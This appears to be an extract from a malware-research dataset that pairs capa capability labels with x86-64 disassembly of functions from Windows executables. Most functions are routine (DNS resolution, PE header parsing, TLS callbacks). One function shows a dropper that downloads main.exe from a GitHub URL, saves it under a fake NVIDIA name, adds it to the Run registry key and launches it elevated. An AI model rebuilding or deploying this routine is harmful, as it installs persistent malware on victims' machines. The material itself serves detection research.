joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400ae910
Capabilities:
Resolve dns

Disassembly:
xor r8d, r8d
jmp 0x1400ae980
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x170
mov rax, qword [0x14010bcf8]
xor rax, rsp
mov qword [rsp + 0x160], rax
xor ebx, ebx
mov r14, rcx
mov r10, r14
lea rcx, [rsp + 0x30]
sub r10, rcx
movzx r15d, r8b
mov rsi, rdx
mov ebp, 0xffffffff
mov r9d, ebx
mov eax, ebx
nop word [rax + rax]
lea rdx, [rsp + 0x30]
mov edi, 0x80
add rdx, rax
movzx ecx, byte [r10 + rdx]
cmp cl, 0x2f
je 0x1400aea04
mov byte [rdx], cl
test cl, cl
je 0x1400aeaf7
inc r9d
inc rax
cmp rax, 0x12b
jl 0x1400ae9d0
jmp 0x1400aeaf7
mov eax, r9d
cmp rax, 0x12c
jae 0x1400aeb8b
mov byte [rsp + rax + 0x30], bl
mov edx, 0x2e
lea eax, [r9 + 1]
movsxd rbp, eax
add rbp, r14
mov rcx, rbp
call fcn.1400b1d34
mov rcx, rbp
test rax, rax
je 0x1400aeac7
lea rdx, [rsp + 0x20]
call fcn.1400b02d0
test eax, eax
je 0x1400aea7f
call fcn.1400b8698
mov dword [rax], reloc.WS2_32.dll_shutdown
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.1400b06c0
mov rbx, qword [rsp + 0x1b0]
add rsp, 0x170
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
movzx ecx, bx
mov eax, ebx
cmp byte [rsp + rax + 0x20], 0xff
jne 0x1400aea9d
inc ebx
add cx, 8
mov eax, ebx
cmp ebx, 4
jl 0x1400aea82
cmp eax, 4
je 0x1400aeac2
movsxd rax, ebx
movzx r8d, byte [rsp + rax + 0x20]
test r8b, r8b
je 0x1400aeac2
mov edx, 7
mov eax, edi
test eax, r8d
je 0x1400aeac2
dec edx
ror eax, 1
inc cx
test edx, edx
jg 0x1400aeab2
movzx ebp, cx
jmp 0x1400aeaf7
mov r8d, 0xa
lea rdx, [rsp + 0x28]
call fcn.1400bf1f4
mov ebp, eax
mov rax, qword [rsp + 0x28]
cmp rax, r14
je 0x1400aea48
cmp byte [rax], bl
jne 0x1400aea48
test ebp, ebp
js 0x1400aea48
lea rdx, [rsi + 4]
lea rcx, [rsp + 0x30]
call fcn.1400b02d0
test eax, eax
je 0x1400aeb69
lea rdx, [rsi + 4]
lea rcx, [rsp + 0x30]
call fcn.1400afc30
test eax, eax
jne 0x1400aeb26
mov dword [rsi], 0x300001
lea edi, [rax + 0x30]
jmp 0x1400aeb74
lea rdx, [rsi + 4]
lea rcx, [rsp + 0x30]
call fcn.1400affd0
test eax, eax
jne 0x1400aeb40
mov dword [rsi], 0x800003
jmp 0x1400aeb74
test r15b, r15b
je 0x1400aea48
lea rcx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x1400aea48
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov dword [rsi + 4], eax
mov edi, 0x20
mov dword [rsi], 0x200002
test ebp, ebp
js 0x1400aeb84
cmp ebp, edi
jg 0x1400aea48
mov word [rsi + 2], bp
xor eax, eax
jmp 0x1400aea58
call fcn.1400b085c
int3
Function at 0x1400ae980
Capabilities:
Resolve dns

Disassembly:
xor r8d, r8d
jmp 0x1400ae980
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x170
mov rax, qword [0x14010bcf8]
xor rax, rsp
mov qword [rsp + 0x160], rax
xor ebx, ebx
mov r14, rcx
mov r10, r14
lea rcx, [rsp + 0x30]
sub r10, rcx
movzx r15d, r8b
mov rsi, rdx
mov ebp, 0xffffffff
mov r9d, ebx
mov eax, ebx
nop word [rax + rax]
lea rdx, [rsp + 0x30]
mov edi, 0x80
add rdx, rax
movzx ecx, byte [r10 + rdx]
cmp cl, 0x2f
je 0x1400aea04
mov byte [rdx], cl
test cl, cl
je 0x1400aeaf7
inc r9d
inc rax
cmp rax, 0x12b
jl 0x1400ae9d0
jmp 0x1400aeaf7
mov eax, r9d
cmp rax, 0x12c
jae 0x1400aeb8b
mov byte [rsp + rax + 0x30], bl
mov edx, 0x2e
lea eax, [r9 + 1]
movsxd rbp, eax
add rbp, r14
mov rcx, rbp
call fcn.1400b1d34
mov rcx, rbp
test rax, rax
je 0x1400aeac7
lea rdx, [rsp + 0x20]
call fcn.1400b02d0
test eax, eax
je 0x1400aea7f
call fcn.1400b8698
mov dword [rax], reloc.WS2_32.dll_shutdown
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.1400b06c0
mov rbx, qword [rsp + 0x1b0]
add rsp, 0x170
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
movzx ecx, bx
mov eax, ebx
cmp byte [rsp + rax + 0x20], 0xff
jne 0x1400aea9d
inc ebx
add cx, 8
mov eax, ebx
cmp ebx, 4
jl 0x1400aea82
cmp eax, 4
je 0x1400aeac2
movsxd rax, ebx
movzx r8d, byte [rsp + rax + 0x20]
test r8b, r8b
je 0x1400aeac2
mov edx, 7
mov eax, edi
test eax, r8d
je 0x1400aeac2
dec edx
ror eax, 1
inc cx
test edx, edx
jg 0x1400aeab2
movzx ebp, cx
jmp 0x1400aeaf7
mov r8d, 0xa
lea rdx, [rsp + 0x28]
call fcn.1400bf1f4
mov ebp, eax
mov rax, qword [rsp + 0x28]
cmp rax, r14
je 0x1400aea48
cmp byte [rax], bl
jne 0x1400aea48
test ebp, ebp
js 0x1400aea48
lea rdx, [rsi + 4]
lea rcx, [rsp + 0x30]
call fcn.1400b02d0
test eax, eax
je 0x1400aeb69
lea rdx, [rsi + 4]
lea rcx, [rsp + 0x30]
call fcn.1400afc30
test eax, eax
jne 0x1400aeb26
mov dword [rsi], 0x300001
lea edi, [rax + 0x30]
jmp 0x1400aeb74
lea rdx, [rsi + 4]
lea rcx, [rsp + 0x30]
call fcn.1400affd0
test eax, eax
jne 0x1400aeb40
mov dword [rsi], 0x800003
jmp 0x1400aeb74
test r15b, r15b
je 0x1400aea48
lea rcx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x1400aea48
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov dword [rsi + 4], eax
mov edi, 0x20
mov dword [rsi], 0x200002
test ebp, ebp
js 0x1400aeb84
cmp ebp, edi
jg 0x1400aea48
mov word [rsi + 2], bp
xor eax, eax
jmp 0x1400aea58
call fcn.1400b085c
int3
Function at 0x1400aefe0
Capabilities:
Get local ipv4 addresses

Disassembly:
push rdi
push r14
sub rsp, 0x38
mov qword [rsp + 0x50], rbx
mov r14, rcx
mov qword [rsp + 0x60], rbp
xor edi, edi
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x58], 0x4000
nop dword [rax]
mov rcx, rdi
call fcn.1400b8268
mov ecx, dword [rsp + 0x58]
call fcn.1400b85d8
mov rdi, rax
test rax, rax
je 0x1400af055
xor r8d, r8d
lea rax, [rsp + 0x58]
mov r9, rdi
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r8 + 0x16]
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
cmp eax, 0x6f
je 0x1400af010
test eax, eax
je 0x1400af076
mov rcx, rdi
call fcn.1400b8268
mov eax, 0xffffffff
mov r15, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x50]
add rsp, 0x38
pop r14
pop rdi
ret
mov qword [r14 + 0x1190], rdi
lea r15, [0x1400e189c]
mov eax, dword [rdi + 0x64]
cmp eax, 9
jne 0x1400af095
lea rcx, [0x1400e18a0]
jmp 0x1400af0c1
cmp eax, 0x17
jne 0x1400af0a3
lea rcx, [0x1400e18a4]
jmp 0x1400af0c1
cmp eax, 0x18
jne 0x1400af0b1
lea rcx, [0x1400e18a8]
jmp 0x1400af0c1
cmp eax, 0x83
lea rcx, [0x1400d9ddc]
cmovne rcx, r15
call fcn.1400aef00
cmp eax, 0x119
jge 0x1400af055
mov esi, dword [rdi + 0x6c]
mov ebp, dword [rdi + 4]
movsxd rbx, eax
shl rbx, 4
add rbx, r14
mov eax, dword [rbx + 0xc]
cmp dword [rbx + 8], eax
jne 0x1400af114
mov rcx, qword [rbx]
test rcx, rcx
je 0x1400af100
add eax, eax
movsxd rdx, eax
shl rdx, 3
mov dword [rbx + 0xc], eax
call fcn.1400bfed4
jmp 0x1400af111
mov ecx, 0x40
mov dword [rbx + 0xc], 8
call fcn.1400b85d8
mov qword [rbx], rax
movsxd rcx, dword [rbx + 8]
mov rax, qword [rbx]
mov dword [rax + rcx*8], ebp
movsxd rcx, dword [rbx + 8]
mov rax, qword [rbx]
mov dword [rax + rcx*8 + 4], esi
inc dword [rbx + 8]
mov rdi, qword [rdi + 8]
test rdi, rdi
jne 0x1400af084
xor eax, eax
jmp 0x1400af05a
Function at 0x1400af840
Capabilities:
Get routing table

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x350]
sub rsp, 0x450
mov rax, qword [0x14010bcf8]
xor rax, rsp
mov qword [rbp + 0x340], rax
mov rdi, rcx
mov r12, r8
mov rcx, qword [rcx]
mov r15, rdx
test rcx, rcx
je 0x1400af951
lea rdx, str.GetIpForwardTable2
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400af951
lea r14, [rdi + 0x10]
xor ecx, ecx
mov rdx, r14
call rax
test eax, eax
jne 0x1400af999
mov rdx, qword [r14]
xor ebx, ebx
mov esi, ebx
cmp dword [rdx], ebx
jbe 0x1400af99e
nop dword [rax + rax]
mov eax, esi
imul rdi, rax, 0x68
add rdi, rdx
lea rdx, [rsp + 0x50]
lea rcx, [rdi + 0x14]
call fcn.1400ae920
movzx eax, byte [rdi + 0x30]
lea rcx, [rdi + 0x34]
lea rdx, [rsp + 0x64]
mov word [rsp + 0x52], ax
call fcn.1400ae920
mov byte [rsp + 0x30], 0
lea rcx, [rbp - 0x80]
mov eax, dword [rdi + 0x10]
mov dword [rsp + 0x7c], eax
movzx eax, word [rdi + 0x14]
mov word [rbp - 0x80], ax
mov rax, qword [rdi + 8]
mov qword [rbp - 0x78], rax
mov eax, dword [rdi + 0x10]
mov dword [rbp - 0x70], eax
call sub.IPHLPAPI.DLL_GetIpInterfaceEntry
test eax, eax
jne 0x1400af999
mov edx, dword [rbp + 0x14]
lea rcx, [rsp + 0x30]
add edx, dword [rdi + 0x5c]
mov eax, 0x7fffffff
cmp edx, eax
cmovb eax, edx
mov rdx, r12
mov dword [rsp + 0x78], eax
call r15
mov ebx, eax
test eax, eax
jne 0x1400af99e
mov rdx, qword [r14]
inc esi
cmp esi, dword [rdx]
jb 0x1400af8c0
jmp 0x1400af99e
mov dword [rsp + 0x20], 0x3c
nop dword [rax]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x1400af96e
call fcn.1400b8268
mov ecx, dword [rsp + 0x20]
call fcn.1400b85d8
mov qword [rdi + 8], rax
test rax, rax
je 0x1400af999
xor r8d, r8d
lea rdx, [rsp + 0x20]
mov rcx, rax
call sub.IPHLPAPI.DLL_GetIpForwardTable
test eax, eax
je 0x1400af9c1
cmp eax, 0x7a
je 0x1400af960
mov ebx, 0xffffffff
mov eax, ebx
mov rcx, qword [rbp + 0x340]
xor rcx, rsp
call fcn.1400b06c0
add rsp, 0x450
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov qword [rsp + 0x4a8], r13
call fcn.1400af230
mov rdx, qword [rdi + 8]
xor ebx, ebx
mov r13, rax
mov esi, ebx
cmp dword [rdx], ebx
jle 0x1400afa98
mov r14d, ebx
nop dword [rax]
nop dword [rax + rax]
mov dword [rsp + 0x50], 0x200002
lea r8, [rsp + 0x52]
mov dword [rsp + 0x64], 0x200002
mov eax, dword [r14 + rdx + 4]
add rdx, 8
mov dword [rsp + 0x54], eax
movsxd rax, esi
imul rcx, rax, 0x38
add rcx, rdx
mov edx, 4
call fcn.1400ae5f0
mov rcx, qword [rdi + 8]
lea rdx, [rbp - 0x80]
mov r8d, 2
mov eax, dword [rcx + r14 + 0x10]
mov dword [rsp + 0x68], eax
mov eax, dword [rcx + r14 + 0x28]
mov dword [rsp + 0x78], eax
mov byte [rsp + 0x30], 0
mov dword [rbp - 0x80], 0x3b4
mov r9d, dword [rcx + r14 + 0x14]
mov rcx, r13
call fcn.1400af1b0
test eax, eax
jne 0x1400afa75
lea r8d, [rax + 0x20]
lea rdx, [rbp - 0x7c]
lea rcx, [rsp + 0x30]
call fcn.1400b0360
mov rdx, r12
lea rcx, [rsp + 0x30]
call r15
mov ebx, eax
test eax, eax
jne 0x1400afa98
mov rdx, qword [rdi + 8]
inc esi
add r14, 0x38
cmp esi, dword [rdx]
jl 0x1400af9f0
mov rcx, r13
call fcn.1400af140
mov r13, qword [rsp + 0x4a8]
jmp 0x1400af99e
Function at 0x1400b81dc
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x1400b806f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400b806f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400b806f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400b806f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400b806f
cmp dword [rcx + 0x84], 0xe
jbe 0x1400b806f
cmp dword [rcx + 0xf8], 0
je 0x1400b806f
mov ecx, ebx
call fcn.1400b8110
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.1400b7f00
cmp dword [rbp + 0x20], 0
je 0x1400b80bc
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400b80c4
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400b8008
Function at 0x2fc4d6af0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d7bd0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d74f2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4fa108]
test eax, eax
je 0x2fc4d758a
lea rax, [0x2fc4fa0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4fa110]
mov qword [rbp - 8], rax
jmp 0x2fc4d756e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d7562
cmp qword [rbp - 0x10], 0
je 0x2fc4d7562
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d7528
lea rax, [0x2fc4fa0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d758b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d7690
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d76b8
mov eax, 0
jmp 0x2fc4d7706
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d76e1
mov eax, 0
jmp 0x2fc4d7706
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d7701
mov eax, 0
jmp 0x2fc4d7706
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d770c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d778a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d7781
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d7781
mov rax, qword [rbp - 8]
jmp 0x2fc4d779f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d7754
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2fc50ed30
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc50f732
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc534108]
test eax, eax
je 0x2fc50f7ca
lea rax, [0x2fc5340e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc534110]
mov qword [rbp - 8], rax
jmp 0x2fc50f7ae
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc50f7a2
cmp qword [rbp - 0x10], 0
je 0x2fc50f7a2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc50f768
lea rax, [0x2fc5340e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc50f7cb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc50f8d0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc50f8f8
mov eax, 0
jmp 0x2fc50f946
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc50f921
mov eax, 0
jmp 0x2fc50f946
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc50f941
mov eax, 0
jmp 0x2fc50f946
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc50f94c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc50f9ca
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc50f9c1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc50f9c1
mov rax, qword [rbp - 8]
jmp 0x2fc50f9df
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc50f994
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001000
Capabilities:
Create process on windows
Download url
Get common file path
Persist via run registry key
Receive data
Set registry value

Disassembly:
push rdi
sub rsp, 0x260
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x250], rax
xor r9d, r9d
lea rax, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x1a]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x14000112d
lea r8, str.NVIDIANVIDIA_Container.exe
mov edx, 0x104
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
xor edi, edi
lea r8, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea rdx, str.https:__github.com_ghiiiwiq_s_releases_download_1_main.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x14000112d
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x14000112d
mov qword [rsp + 0x270], rbx
lea rcx, [rsp + 0x40]
mov rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], di
jne 0x1400010b1
mov rcx, qword [rsp + 0x30]
lea rdx, [0x1400023b0]
add eax, eax
mov r9d, 1
mov dword [rsp + 0x28], eax
xor r8d, r8d
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
mov rbx, qword [rsp + 0x270]
jne 0x14000112d
mov dword [rsp + 0x28], 1
lea r8, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
setle dil
mov eax, edi
jmp 0x140001132
mov eax, 1
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140001160
add rsp, 0x260
pop rdi
ret

Function at 0x140001a70
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001aba
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001aba
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001aba
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001aba
cmp dword [rcx + 0x84], 0xe
jbe 0x140001aba
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001abc
xor al, al
add rsp, 0x28
ret
Function at 0x2fc4ff2b0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4ffcb2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc524108]
test eax, eax
je 0x2fc4ffd4a
lea rax, [0x2fc5240e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc524110]
mov qword [rbp - 8], rax
jmp 0x2fc4ffd2e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4ffd22
cmp qword [rbp - 0x10], 0
je 0x2fc4ffd22
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4ffce8
lea rax, [0x2fc5240e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4ffd4b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4ffe50
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4ffe78
mov eax, 0
jmp 0x2fc4ffec6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4ffea1
mov eax, 0
jmp 0x2fc4ffec6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4ffec1
mov eax, 0
jmp 0x2fc4ffec6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4ffecc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
